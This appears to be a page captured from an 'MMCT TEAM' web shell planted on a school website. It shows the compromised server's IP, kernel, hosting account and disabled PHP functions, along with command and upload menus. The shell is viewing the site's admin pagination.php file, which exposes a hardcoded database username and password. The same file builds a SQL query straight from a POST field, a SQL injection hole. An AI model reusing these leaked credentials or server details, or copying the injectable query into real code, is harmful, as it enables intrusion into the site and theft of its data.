MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/domains/vethathirimaharishismartschool.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/domains/vethathirimaharishismartschool.com/public_html/admin/pagination.php
<?php
$conn=mysqli_connect('localhost','ccusiitm','c1H2-nSt)(R9U','ccusiitm_ccusit');



?>
<table class="table table-bordered datatable" id="table-4">
			<thead>
				<tr>
					<th>S.no</th>
					<th>Name</th>
					<th>Image</th>
					<th>Role</th>
				
				</tr>
			</thead>
			<tbody>
			    	<?php
			$i=0;
			if(isset($_POST['page'])){
			    $page=$_POST['page'];
			    if($page==''){
			        $view='select * from portafila';
			    }
			    else {
			    	$view="select * from portafila where role='$page'";
			    }
			}
			else {
			$view='select * from portafila';
			}
			$view_result=mysqli_query($conn,$view);
			if(mysqli_num_rows($view_result)>=1){
			while($row=mysqli_fetch_assoc($view_result)){
				$i=$i+1;
				$id=$row['id'];
				$name=$row['name'];
				$role=$row['role'];
					$image=$row['image'];
			
					  
				
				
				
				
				
				
				
			
			
			
			?>
				<tr class="odd gradeX">
					<td><?php echo $i;?></td>
					<td><?php echo $name;?></td>
						<td><img src="../assets/images/portfolia/<?php echo $image;?>" alt="" class="img-circle" width="44" /></td>
						<td><?php echo $role;?></td>
					
				</tr>
				<?php
			}	
			}
			?>
				</tbody>
			
		</table>

MMCT - 2023